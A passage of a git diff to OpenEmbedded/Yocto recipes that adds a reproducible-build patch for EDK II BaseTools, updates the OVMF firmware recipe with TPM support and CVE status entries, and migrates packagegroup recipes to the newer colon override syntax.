+@@ -70,6 +70,9 @@ class TargetDescBlock(object):
+ else:
+ return str(Other) == self.Target.Path
+
++ def __lt__(self, other):
++ return str(self) < str(other)
++
+ def AddInput(self, Input):
+ if Input not in self.Inputs:
+ self.Inputs.append(Input)
+diff --git a/BaseTools/Source/Python/AutoGen/GenMake.py b/BaseTools/Source/Python/AutoGen/GenMake.py
+index daec9c6d54..0e8cc20efe 100755
+--- a/BaseTools/Source/Python/AutoGen/GenMake.py
++++ b/BaseTools/Source/Python/AutoGen/GenMake.py
+@@ -575,7 +575,7 @@ cleanlib:
+ os.remove(RespFileList)
+
+ # convert source files and binary files to build targets
+- self.ResultFileList = [str(T.Target) for T in MyAgo.CodaTargetList]
++ self.ResultFileList = sorted([str(T.Target) for T in MyAgo.CodaTargetList])
+ if len(self.ResultFileList) == 0 and len(MyAgo.SourceFileList) != 0:
+ EdkLogger.error("build", AUTOGEN_ERROR, "Nothing to build",
+ ExtraData="[%s]" % str(MyAgo))
+@@ -726,7 +726,7 @@ cleanlib:
+ OutputFile = ''
+ DepsFileList = []
+
+- for Cmd in self.GenFfsList:
++ for Cmd in sorted(self.GenFfsList):
+ if Cmd[2]:
+ for CopyCmd in Cmd[2]:
+ Src, Dst = CopyCmd
+@@ -759,7 +759,7 @@ cleanlib:
+ self.BuildTargetList.append('\t%s' % CmdString)
+
+ self.ParseSecCmd(DepsFileList, Cmd[1])
+- for SecOutputFile, SecDepsFile, SecCmd in self.FfsOutputFileList :
++ for SecOutputFile, SecDepsFile, SecCmd in sorted(self.FfsOutputFileList):
+ self.BuildTargetList.append('%s : %s' % (self.ReplaceMacro(SecOutputFile), self.ReplaceMacro(SecDepsFile)))
+ self.BuildTargetList.append('\t%s' % self.ReplaceMacro(SecCmd))
+ self.FfsOutputFileList = []
+@@ -798,13 +798,13 @@ cleanlib:
+
+ def CommandExceedLimit(self):
+ FlagDict = {
+- 'CC' : { 'Macro' : '$(CC_FLAGS)', 'Value' : False},
+- 'PP' : { 'Macro' : '$(PP_FLAGS)', 'Value' : False},
+- 'APP' : { 'Macro' : '$(APP_FLAGS)', 'Value' : False},
+- 'ASLPP' : { 'Macro' : '$(ASLPP_FLAGS)', 'Value' : False},
+- 'VFRPP' : { 'Macro' : '$(VFRPP_FLAGS)', 'Value' : False},
+- 'ASM' : { 'Macro' : '$(ASM_FLAGS)', 'Value' : False},
+- 'ASLCC' : { 'Macro' : '$(ASLCC_FLAGS)', 'Value' : False},
++ 'CC' : { 'Macro' : '$(CC_FLAGS)', 'Value' : True},
++ 'PP' : { 'Macro' : '$(PP_FLAGS)', 'Value' : True},
++ 'APP' : { 'Macro' : '$(APP_FLAGS)', 'Value' : True},
++ 'ASLPP' : { 'Macro' : '$(ASLPP_FLAGS)', 'Value' : True},
++ 'VFRPP' : { 'Macro' : '$(VFRPP_FLAGS)', 'Value' : True},
++ 'ASM' : { 'Macro' : '$(ASM_FLAGS)', 'Value' : True},
++ 'ASLCC' : { 'Macro' : '$(ASLCC_FLAGS)', 'Value' : True},
+ }
+
+ RespDict = {}
+@@ -1007,9 +1007,9 @@ cleanlib:
+ if not self.ObjTargetDict.get(T.Target.SubDir):
+ self.ObjTargetDict[T.Target.SubDir] = set()
+ self.ObjTargetDict[T.Target.SubDir].add(NewFile)
+- for Type in self._AutoGenObject.Targets:
++ for Type in sorted(self._AutoGenObject.Targets):
+ resp_file_number = 0
+- for T in self._AutoGenObject.Targets[Type]:
++ for T in sorted(self._AutoGenObject.Targets[Type]):
+ # Generate related macros if needed
+ if T.GenFileListMacro and T.FileListMacro not in self.FileListMacros:
+ self.FileListMacros[T.FileListMacro] = []
+diff --git a/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py b/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
+index d05410b329..99b3f64aba 100755
+--- a/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
++++ b/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
+@@ -1474,6 +1474,9 @@ class ModuleAutoGen(AutoGen):
+ for File in Files:
+ if File.lower().endswith('.pdb'):
+ AsBuiltInfDict['binary_item'].append('DISPOSABLE|' + File)
++
++ AsBuiltInfDict['binary_item'] = sorted(AsBuiltInfDict['binary_item'])
++
+ HeaderComments = self.Module.HeaderComments
+ StartPos = 0
+ for Index in range(len(HeaderComments)):
+@@ -1749,7 +1752,7 @@ class ModuleAutoGen(AutoGen):
+ if os.path.exists (self.TimeStampPath):
+ os.remove (self.TimeStampPath)
+
+- SaveFileOnChange(self.TimeStampPath, "\n".join(FileSet), False)
++ SaveFileOnChange(self.TimeStampPath, "\n".join(sorted(FileSet)), False)
+
+ # Ignore generating makefile when it is a binary module
+ if self.IsBinaryModule:
+--
+2.30.2
+
diff --git a/meta/recipes-core/ovmf/ovmf_git.bb b/meta/recipes-core/ovmf/ovmf_git.bb
index 84547630e8..35ca8d1834 100644
--- a/meta/recipes-core/ovmf/ovmf_git.bb
+++ b/meta/recipes-core/ovmf/ovmf_git.bb
@@ -2,27 +2,48 @@ SUMMARY = "OVMF - UEFI firmware for Qemu and KVM"
DESCRIPTION = "OVMF is an EDK II based project to enable UEFI support for \
Virtual Machines. OVMF contains sample UEFI firmware for QEMU and KVM"
HOMEPAGE = "https://github.com/tianocore/tianocore.github.io/wiki/OVMF"
-LICENSE = "BSD-2-Clause"
-LICENSE_class-target = "${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'BSD & OpenSSL', 'BSD', d)}"
+LICENSE = "BSD-2-Clause-Patent"
+LICENSE:class-target = "${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'BSD-2-Clause-Patent & OpenSSL', 'BSD-2-Clause-Patent', d)}"
LIC_FILES_CHKSUM = "file://OvmfPkg/License.txt;md5=06357ddc23f46577c2aeaeaf7b776d65"
# Enabling Secure Boot adds a dependency on OpenSSL and implies
# compiling OVMF twice, so it is disabled by default. Distros
# may change that default.
PACKAGECONFIG ??= ""
+PACKAGECONFIG += "${@bb.utils.contains('MACHINE_FEATURES', 'tpm', 'tpm', '', d)}"
+PACKAGECONFIG += "${@bb.utils.contains('MACHINE_FEATURES', 'tpm2', 'tpm', '', d)}"
PACKAGECONFIG[secureboot] = ",,,"
+PACKAGECONFIG[tpm] = "-D TPM_ENABLE=TRUE,-D TPM_ENABLE=FALSE,,"
+
+# GCC12 trips on it
+#see https://src.fedoraproject.org/rpms/edk2/blob/rawhide/f/0032-Basetools-turn-off-gcc12-warning.patch
+BUILD_CFLAGS += "-Wno-error=stringop-overflow"
SRC_URI = "gitsm://github.com/tianocore/edk2.git;branch=master;protocol=https \
file://0001-ovmf-update-path-to-native-BaseTools.patch \
file://0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch \
- file://0003-ovmf-enable-long-path-file.patch \
- file://0001-ovmf-Update-to-latest.patch \
- "
+ file://0003-debug-prefix-map.patch \
+ file://0004-reproducible.patch \
+ "
-PV = "edk2-stable202005"
-SRCREV = "ca407c7246bf405da6d9b1b9d93e5e7f17b4b1f9"
+PV = "edk2-stable202402"
+SRCREV = "edc6681206c1a8791981a2f911d2fb8b3d2f5768"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>edk2-stable.*)"
+CVE_PRODUCT = "edk2"
+CVE_VERSION = "${@d.getVar('PV').split('stable')[1]}"
+
+CVE_STATUS[CVE-2014-8271] = "fixed-version: Fixed in svn_16280, which is an unusual versioning breaking version comparison."
+CVE_STATUS[CVE-2014-4859] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+CVE_STATUS[CVE-2014-4860] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+CVE_STATUS[CVE-2019-14553] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+CVE_STATUS[CVE-2019-14559] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+CVE_STATUS[CVE-2019-14562] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+CVE_STATUS[CVE-2019-14563] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+CVE_STATUS[CVE-2019-14575] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+CVE_STATUS[CVE-2019-14586] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+CVE_STATUS[CVE-2019-14587] = "fixed-version: The CPE in the NVD database doesn't reflect correctly the vulnerable versions."
+
inherit deploy
PARALLEL_MAKE = ""
@@ -37,7 +58,7 @@ EDK_TOOLS_DIR="edk2_basetools"
BUILD_OPTIMIZATION="-pipe"
# OVMF supports IA only, although it could conceivably support ARM someday.
-COMPATIBLE_HOST_class-target='(i.86|x86_64).*'
+COMPATIBLE_HOST:class-target='(i.86|x86_64).*'
# Additional build flags for OVMF with Secure Boot.
# Fedora also uses "-D SMM_REQUIRE -D EXCLUDE_SHELL_FROM_FD".
@@ -49,7 +70,7 @@ export PYTHON_COMMAND = "${HOSTTOOLS_DIR}/python3"
do_patch[postfuncs] += "fix_basetools_location"
fix_basetools_location () {
}
-fix_basetools_location_class-target() {
+fix_basetools_location:class-target() {
# Replaces the fake path inserted by 0002-ovmf-update-path-to-native-BaseTools.patch.
# Necessary for finding the actual BaseTools from ovmf-native.
sed -i -e 's#BBAKE_EDK_TOOLS_PATH#${STAGING_BINDIR_NATIVE}/${EDK_TOOLS_DIR}#' ${S}/OvmfPkg/build.sh
@@ -58,7 +79,7 @@ fix_basetools_location_class-target() {
do_patch[postfuncs] += "fix_iasl"
fix_iasl() {
}
-fix_iasl_class-native() {
+fix_iasl:class-native() {
# iasl is not installed under /usr/bin when building with OE.
sed -i -e 's#/usr/bin/iasl#${STAGING_BINDIR_NATIVE}/iasl#' ${S}/BaseTools/Conf/tools_def.template
}
@@ -77,14 +98,14 @@ fix_toolchain() {
-e '/^VFR_CPPFLAGS/a CC = ${CC}\nCXX = ${CXX}\nAS = ${AS}\nAR = ${AR}\nLD = ${LD}' \
${S}/BaseTools/Source/C/VfrCompile/GNUmakefile
}
-fix_toolchain_append_class-native() {
+fix_toolchain:append:class-native() {
# This tools_def.template is going to be used by the target ovmf and
# defines which compilers to use. For the GCC toolchain definitions,
# that will be ${HOST_PREFIX}gcc. However, "make" doesn't need that
# prefix.
#
# Injecting ENV(HOST_PREFIX) matches exporting that value as env
- # variable in do_compile_class-target.
+ # variable in do_compile:class-target.
sed -i \
-e 's#\(ENV\|DEF\)(GCC.*_PREFIX)#ENV(HOST_PREFIX)#' \
-e 's#ENV(HOST_PREFIX)make#make#' \
@@ -101,9 +122,23 @@ fix_toolchain_append_class-native() {
# to make ovmf-native reusable across distros.
sed -i \
-e 's#^\(DEFINE GCC.*DLINK.*FLAGS *=\)#\1 -fuse-ld=bfd#' \
+ -e 's#-flto#-fno-lto#g' \
+ -e 's#-DUSING_LTO##g' \
${S}/BaseTools/Conf/tools_def.template
}
+# We disable lto above since the results are not reproducible and make it hard to compare
+# binary build aretfacts to debug reproducibility problems.
+# Surprisingly, if you disable lto, you see compiler warnings which are fatal. We therefore
+# have to hack warnings overrides into GCC_PREFIX_MAP to allow it to build.
+
+# We want to pass ${DEBUG_PREFIX_MAP} to gcc commands and also pass in
+# --debug-prefix-map to nasm (we carry a patch to nasm for this). The
+# tools definitions are built by ovmf-native so we need to pass this in
+# at target build time when we know the right values.
+export NASM_PREFIX_MAP = "--debug-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}"
+export GCC_PREFIX_MAP = "${DEBUG_PREFIX_MAP} -Wno-stringop-overflow -Wno-maybe-uninitialized"
+
GCC_VER="$(${CC} -v 2>&1 | tail -n1 | awk '{print $3}')"
fixup_target_tools() {
@@ -133,11 +168,11 @@ fixup_target_tools() {
echo ${FIXED_GCCVER}
}
-do_compile_class-native() {
+do_compile:class-native() {
oe_runmake -C ${S}/BaseTools
}
-do_compile_class-target() {
+do_compile:class-target() {
export LFLAGS="${LDFLAGS}"
PARALLEL_JOBS="${@oe.utils.parallel_make_argument(d, '-n %d')}"
OVMF_ARCH="X64"
@@ -169,7 +204,7 @@ do_compile_class-target() {
bbnote "Building without Secure Boot."
rm -rf ${S}/Build/Ovmf$OVMF_DIR_SUFFIX
- ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER}
+ ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${PACKAGECONFIG_CONFARGS}
ln ${build_dir}/FV/OVMF.fd ${WORKDIR}/ovmf/ovmf.fd
ln ${build_dir}/FV/OVMF_CODE.fd ${WORKDIR}/ovmf/ovmf.code.fd
ln ${build_dir}/FV/OVMF_VARS.fd ${WORKDIR}/ovmf/ovmf.vars.fd
@@ -179,19 +214,19 @@ do_compile_class-target() {
# Repeat build with the Secure Boot flags.
bbnote "Building with Secure Boot."
rm -rf ${S}/Build/Ovmf$OVMF_DIR_SUFFIX
- ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${OVMF_SECURE_BOOT_FLAGS}
+ ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${PACKAGECONFIG_CONFARGS} ${OVMF_SECURE_BOOT_FLAGS}
ln ${build_dir}/FV/OVMF.fd ${WORKDIR}/ovmf/ovmf.secboot.fd
ln ${build_dir}/FV/OVMF_CODE.fd ${WORKDIR}/ovmf/ovmf.secboot.code.fd
ln ${build_dir}/${OVMF_ARCH}/EnrollDefaultKeys.efi ${WORKDIR}/ovmf/
fi
}
-do_install_class-native() {
+do_install:class-native() {
install -d ${D}/${bindir}/edk2_basetools
cp -r ${S}/BaseTools ${D}/${bindir}/${EDK_TOOLS_DIR}
}
-do_install_class-target() {
+do_install:class-target() {
# Content for UEFI shell iso. We install the EFI shell as
# bootx64/ia32.efi because then it can be started even when the
# firmware itself does not contain it.
@@ -208,19 +243,19 @@ do_install_class-target() {
#
# However, EnrollDefaultKeys.efi is only included when Secure Boot is enabled.
PACKAGES =+ "ovmf-shell-efi"
-FILES_ovmf-shell-efi = " \
+FILES:ovmf-shell-efi = " \
EnrollDefaultKeys.efi \
efi/ \
"
DEPLOYDEP = ""
-DEPLOYDEP_class-target = "qemu-system-native:do_populate_sysroot"
-DEPLOYDEP_class-target += " ${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'openssl-native:do_populate_sysroot', '', d)}"
+DEPLOYDEP:class-target = "qemu-system-native:do_populate_sysroot"
+DEPLOYDEP:class-target += " ${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'openssl-native:do_populate_sysroot', '', d)}"
do_deploy[depends] += "${DEPLOYDEP}"
do_deploy() {
}
-do_deploy_class-target() {
+do_deploy:class-target() {
# For use with "runqemu ovmf".
for i in \
ovmf \
diff --git a/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb b/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
index ae989011f4..c1d3c25060 100644
--- a/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
+++ b/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
@@ -3,13 +3,15 @@
#
SUMMARY = "Host packages for the standalone SDK or external toolchain"
-PR = "r12"
-inherit packagegroup nativesdk
+inherit packagegroup
+inherit_defer nativesdk
PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
-RDEPENDS_${PN} = "\
+# autoconf pulls in nativesdk-perl but perl-module-integer is needed to
+# build some recent linux kernels (5.14+) for arm
+RDEPENDS:${PN} = "\
nativesdk-pkgconfig \
nativesdk-qemu \
nativesdk-qemu-helper \
@@ -23,13 +25,14 @@ RDEPENDS_${PN} = "\
nativesdk-makedevs \
nativesdk-cmake \
nativesdk-meson \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'nativesdk-wayland', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'nativesdk-wayland-tools nativesdk-wayland-dev', '', d)} \
nativesdk-sdk-provides-dummy \
nativesdk-bison \
nativesdk-flex \
+ nativesdk-perl-module-integer \
"
-RDEPENDS_${PN}_darwin = "\
+RDEPENDS:${PN}:darwin = "\
nativesdk-pkgconfig \
nativesdk-opkg \
nativesdk-libtool \
diff --git a/meta/recipes-core/packagegroups/packagegroup-base.bb b/meta/recipes-core/packagegroups/packagegroup-base.bb
index 90b79adfdc..70a1035003 100644
--- a/meta/recipes-core/packagegroups/packagegroup-base.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-base.bb
@@ -1,5 +1,4 @@
SUMMARY = "Merge machine and distro options to create a basic machine task/package"
-PR = "r83"
#
# packages which content depend on MACHINE_FEATURES need to be MACHINE_ARCH
@@ -8,7 +7,6 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit packagegroup
-PROVIDES = "${PACKAGES}"
PACKAGES = ' \
packagegroup-base \
packagegroup-base-extended \
@@ -17,7 +15,6 @@ PACKAGES = ' \
\
${@bb.utils.contains("MACHINE_FEATURES", "acpi", "packagegroup-base-acpi", "",d)} \
${@bb.utils.contains("MACHINE_FEATURES", "alsa", "packagegroup-base-alsa", "", d)} \
- ${@bb.utils.contains("MACHINE_FEATURES", "apm", "packagegroup-base-apm", "", d)} \
${@bb.utils.contains("MACHINE_FEATURES", "ext2", "packagegroup-base-ext2", "", d)} \
${@bb.utils.contains("MACHINE_FEATURES", "vfat", "packagegroup-base-vfat", "", d)} \
${@bb.utils.contains("MACHINE_FEATURES", "keyboard", "packagegroup-base-keyboard", "", d)} \
@@ -48,12 +45,11 @@ VIRTUAL-RUNTIME_keymaps ?= "keymaps"
#
# packagegroup-base contain stuff needed for base system (machine related)
#
-RDEPENDS_packagegroup-base = "\
+RDEPENDS:packagegroup-base = "\
packagegroup-distro-base \
packagegroup-machine-base \
\
module-init-tools \
- ${@bb.utils.contains('MACHINE_FEATURES', 'apm', 'packagegroup-base-apm', '',d)} \
${@bb.utils.contains('MACHINE_FEATURES', 'acpi', 'packagegroup-base-acpi', '',d)} \
${@bb.utils.contains('MACHINE_FEATURES', 'keyboard', 'packagegroup-base-keyboard', '',d)} \
${@bb.utils.contains('MACHINE_FEATURES', 'phone', 'packagegroup-base-phone', '',d)} \
@@ -80,7 +76,7 @@ RDEPENDS_packagegroup-base = "\
"
-RRECOMMENDS_packagegroup-base = "\
+RRECOMMENDS:packagegroup-base = "\
kernel-module-nls-utf8 \
kernel-module-input \
kernel-module-uinput \
@@ -89,7 +85,7 @@ RRECOMMENDS_packagegroup-base = "\
kernel-module-rtc-sysfs \
kernel-module-unix"
-RDEPENDS_packagegroup-base-extended = "\
+RDEPENDS:packagegroup-base-extended = "\
packagegroup-base \
${ADD_WIFI} \
${ADD_BT} \
@@ -125,67 +121,63 @@ python __anonymous () {
#
# packages added by distribution
#
-SUMMARY_packagegroup-distro-base = "${DISTRO} extras"
+SUMMARY:packagegroup-distro-base = "${DISTRO} extras"
DEPENDS_packagegroup-distro-base = "${DISTRO_EXTRA_DEPENDS}"
-RDEPENDS_packagegroup-distro-base = "${DISTRO_EXTRA_RDEPENDS}"
-RRECOMMENDS_packagegroup-distro-base = "${DISTRO_EXTRA_RRECOMMENDS}"
+RDEPENDS:packagegroup-distro-base = "${DISTRO_EXTRA_RDEPENDS}"
+RRECOMMENDS:packagegroup-distro-base = "${DISTRO_EXTRA_RRECOMMENDS}"
#
# packages added by machine config
#
-SUMMARY_packagegroup-machine-base = "${MACHINE} extras"
-SUMMARY_packagegroup-machine-base = "Extra packages required to fully support ${MACHINE} hardware"
-RDEPENDS_packagegroup-machine-base = "${MACHINE_EXTRA_RDEPENDS}"
-RRECOMMENDS_packagegroup-machine-base = "${MACHINE_EXTRA_RRECOMMENDS}"
+SUMMARY:packagegroup-machine-base = "Extra packages required to fully support ${MACHINE} hardware"
+RDEPENDS:packagegroup-machine-base = "${MACHINE_EXTRA_RDEPENDS}"
+RRECOMMENDS:packagegroup-machine-base = "${MACHINE_EXTRA_RRECOMMENDS}"
-SUMMARY_packagegroup-base-keyboard = "Keyboard support"
-RDEPENDS_packagegroup-base-keyboard = "\
+SUMMARY:packagegroup-base-keyboard = "Keyboard support"
+RDEPENDS:packagegroup-base-keyboard = "\
${VIRTUAL-RUNTIME_keymaps}"
-SUMMARY_packagegroup-base-pci = "PCI bus support"
-RDEPENDS_packagegroup-base-pci = "\
+SUMMARY:packagegroup-base-pci = "PCI bus support"
+RDEPENDS:packagegroup-base-pci = "\
pciutils"
-SUMMARY_packagegroup-base-acpi = "ACPI support"
-RDEPENDS_packagegroup-base-acpi = "\
+SUMMARY:packagegroup-base-acpi = "ACPI support"
+RDEPENDS:packagegroup-base-acpi = "\
acpid"
-SUMMARY_packagegroup-base-apm = "APM support"
-RDEPENDS_packagegroup-base-apm = "\
- ${VIRTUAL-RUNTIME_apm} \
- apmd"
-
-SUMMARY_packagegroup-base-ext2 = "ext2 filesystem support"
-RDEPENDS_packagegroup-base-ext2 = "\
- hdparm \
- e2fsprogs \
+SUMMARY:packagegroup-base-ext2 = "ext2 filesystem support"
+RDEPENDS:packagegroup-base-ext2 = "\
e2fsprogs-e2fsck \
e2fsprogs-mke2fs"
-SUMMARY_packagegroup-base-vfat = "FAT filesystem support"
-RRECOMMENDS_packagegroup-base-vfat = "\
+RRECOMMENDS:packagegroup-base-ext2 = "\
+ hdparm \
+ e2fsprogs"
+
+SUMMARY:packagegroup-base-vfat = "FAT filesystem support"
+RRECOMMENDS:packagegroup-base-vfat = "\
kernel-module-msdos \
kernel-module-vfat \
kernel-module-nls-iso8859-1 \
kernel-module-nls-cp437 \
dosfstools"
-SUMMARY_packagegroup-base-alsa = "ALSA sound support"
-RDEPENDS_packagegroup-base-alsa = "\
+SUMMARY:packagegroup-base-alsa = "ALSA sound support"
+RDEPENDS:packagegroup-base-alsa = "\
alsa-utils-alsactl \
- alsa-utils-alsamixer \
+ alsa-utils-amixer \
${VIRTUAL-RUNTIME_alsa-state}"
-RRECOMMENDS_packagegroup-base-alsa = "\
+RRECOMMENDS:packagegroup-base-alsa = "\
kernel-module-snd-mixer-oss \
kernel-module-snd-pcm-oss"
-SUMMARY_packagegroup-base-pcmcia = "PC card slot support"
-RDEPENDS_packagegroup-base-pcmcia = "\
+SUMMARY:packagegroup-base-pcmcia = "PC card slot support"
+RDEPENDS:packagegroup-base-pcmcia = "\
pcmciautils \
"
-RRECOMMENDS_packagegroup-base-pcmcia = "\
+RRECOMMENDS:packagegroup-base-pcmcia = "\
kernel-module-pcmcia \
kernel-module-airo-cs \
kernel-module-pcnet-cs \
@@ -196,12 +188,12 @@ RRECOMMENDS_packagegroup-base-pcmcia = "\
${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'kernel-module-orinoco-cs', '',d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'kernel-module-spectrum-cs', '',d)}"
-SUMMARY_packagegroup-base-bluetooth = "Bluetooth support"
-RDEPENDS_packagegroup-base-bluetooth = "\
+SUMMARY:packagegroup-base-bluetooth = "Bluetooth support"
+RDEPENDS:packagegroup-base-bluetooth = "\
bluez5 \
"
-RRECOMMENDS_packagegroup-base-bluetooth = "\
+RRECOMMENDS:packagegroup-base-bluetooth = "\
kernel-module-bluetooth \
kernel-module-l2cap \
kernel-module-rfcomm \
@@ -217,19 +209,19 @@ RRECOMMENDS_packagegroup-base-bluetooth = "\
${@bb.utils.contains('COMBINED_FEATURES', 'pcmcia', 'kernel-module-dtl1-cs', '',d)} \
"
-SUMMARY_packagegroup-base-usbgadget = "USB gadget support"
-RRECOMMENDS_packagegroup-base-usbgadget = "\
+SUMMARY:packagegroup-base-usbgadget = "USB gadget support"
+RRECOMMENDS:packagegroup-base-usbgadget = "\
kernel-module-pxa27x_udc \
kernel-module-gadgetfs \
kernel-module-g-file-storage \
kernel-module-g-serial \
kernel-module-g-ether"
-SUMMARY_packagegroup-base-usbhost = "USB host support"
-RDEPENDS_packagegroup-base-usbhost = "\
+SUMMARY:packagegroup-base-usbhost = "USB host support"
+RDEPENDS:packagegroup-base-usbhost = "\
usbutils "
-RRECOMMENDS_packagegroup-base-usbhost = "\
+RRECOMMENDS:packagegroup-base-usbhost = "\
kernel-module-uhci-hcd \
kernel-module-ohci-hcd \
kernel-module-ehci-hcd \
@@ -243,36 +235,39 @@ RRECOMMENDS_packagegroup-base-usbhost = "\
kernel-module-usbserial \
kernel-module-usb-storage "
-SUMMARY_packagegroup-base-ppp = "PPP dial-up protocol support"
-RDEPENDS_packagegroup-base-ppp = "\
+SUMMARY:packagegroup-base-ppp = "PPP dial-up protocol support"
+RDEPENDS:packagegroup-base-ppp = "\
ppp \
ppp-dialin"
-RRECOMMENDS_packagegroup-base-ppp = "\
+RRECOMMENDS:packagegroup-base-ppp = "\
kernel-module-ppp-async \
kernel-module-ppp-deflate \
kernel-module-ppp-generic \
kernel-module-ppp-mppe \
kernel-module-slhc"
-SUMMARY_packagegroup-base-ipsec = "IPSEC support"
-RDEPENDS_packagegroup-base-ipsec = "\
+SUMMARY:packagegroup-base-ipsec = "IPSEC support"
+RDEPENDS:packagegroup-base-ipsec = "\
"
-RRECOMMENDS_packagegroup-base-ipsec = "\
+RRECOMMENDS:packagegroup-base-ipsec = "\
kernel-module-ipsec"
#
# packagegroup-base-wifi contain everything needed to get WiFi working
# WEP/WPA connection needs to be supported out-of-box
#
-SUMMARY_packagegroup-base-wifi = "WiFi support"
-RDEPENDS_packagegroup-base-wifi = "\
+# Choose either 'wpa-supplicant' or 'iwd' as wireless-daemon
+WIRELESS_DAEMON ??= "wpa-supplicant"
+SUMMARY:packagegroup-base-wifi = "WiFi support"
+RDEPENDS:packagegroup-base-wifi = "\
iw \
wireless-regdb-static \
- wpa-supplicant"
+ ${WIRELESS_DAEMON} \
+"
-RRECOMMENDS_packagegroup-base-wifi = "\
+RRECOMMENDS:packagegroup-base-wifi = "\
${@bb.utils.contains('COMBINED_FEATURES', 'usbhost', 'kernel-module-zd1211rw', '',d)} \
kernel-module-ieee80211-crypt \
kernel-module-ieee80211-crypt-ccmp \
@@ -286,59 +281,59 @@ RRECOMMENDS_packagegroup-base-wifi = "\
kernel-module-aes-generic \
kernel-module-aes"
-SUMMARY_packagegroup-base-nfc = "Near Field Communication support"
-RDEPENDS_packagegroup-base-nfc = "\
+SUMMARY:packagegroup-base-nfc = "Near Field Communication support"
+RDEPENDS:packagegroup-base-nfc = "\
neard"
-RRECOMMENDS_packagegroup-base-nfc = "\
+RRECOMMENDS:packagegroup-base-nfc = "\
kernel-module-nfc"
-SUMMARY_packagegroup-base-3g = "Cellular data support"
-RDEPENDS_packagegroup-base-3g = "\
+SUMMARY:packagegroup-base-3g = "Cellular data support"
+RDEPENDS:packagegroup-base-3g = "\
ofono"
-RRECOMMENDS_packagegroup-base-3g = "\
+RRECOMMENDS:packagegroup-base-3g = "\
kernel-module-cdc-acm \
kernel-module-cdc-wdm"
-SUMMARY_packagegroup-base-smbfs = "SMB network filesystem support"
-RRECOMMENDS_packagegroup-base-smbfs = "\
+SUMMARY:packagegroup-base-smbfs = "SMB network filesystem support"
+RRECOMMENDS:packagegroup-base-smbfs = "\
kernel-module-cifs \
kernel-module-smbfs"
-SUMMARY_packagegroup-base-cramfs = "cramfs filesystem support"
-RRECOMMENDS_packagegroup-base-cramfs = "\
+SUMMARY:packagegroup-base-cramfs = "cramfs filesystem support"
+RRECOMMENDS:packagegroup-base-cramfs = "\
kernel-module-cramfs"
#
# packagegroup-base-nfs provides ONLY client support - server is in nfs-utils package
#
-SUMMARY_packagegroup-base-nfs = "NFS network filesystem support"
-RDEPENDS_packagegroup-base-nfs = "\
+SUMMARY:packagegroup-base-nfs = "NFS network filesystem support"
+RDEPENDS:packagegroup-base-nfs = "\
rpcbind"
-RRECOMMENDS_packagegroup-base-nfs = "\
+RRECOMMENDS:packagegroup-base-nfs = "\
kernel-module-nfs "
-SUMMARY_packagegroup-base-zeroconf = "Zeroconf support"
-RDEPENDS_packagegroup-base-zeroconf = "\
+SUMMARY:packagegroup-base-zeroconf = "Zeroconf support"
+RDEPENDS:packagegroup-base-zeroconf = "\
avahi-daemon"
-RDEPENDS_packagegroup-base-zeroconf_append_libc-glibc = "\
+RDEPENDS:packagegroup-base-zeroconf:append:libc-glibc = "\
libnss-mdns \
"
-SUMMARY_packagegroup-base-ipv6 = "IPv6 support"
-RDEPENDS_packagegroup-base-ipv6 = "\
+SUMMARY:packagegroup-base-ipv6 = "IPv6 support"
+RDEPENDS:packagegroup-base-ipv6 = "\
"
-RRECOMMENDS_packagegroup-base-ipv6 = "\
+RRECOMMENDS:packagegroup-base-ipv6 = "\
kernel-module-ipv6 "
-SUMMARY_packagegroup-base-serial = "Serial port support"
-RDEPENDS_packagegroup-base-serial = "\
+SUMMARY:packagegroup-base-serial = "Serial port support"
+RDEPENDS:packagegroup-base-serial = "\
setserial \
lrzsz "
-SUMMARY_packagegroup-base-phone = "Cellular telephony (voice) support"
-RDEPENDS_packagegroup-base-phone = "\
+SUMMARY:packagegroup-base-phone = "Cellular telephony (voice) support"
+RDEPENDS:packagegroup-base-phone = "\
ofono"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-boot.bb b/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
index abbee14bd4..fecc3334ea 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-boot.bb
@@ -4,7 +4,6 @@
SUMMARY = "Minimal boot requirements"
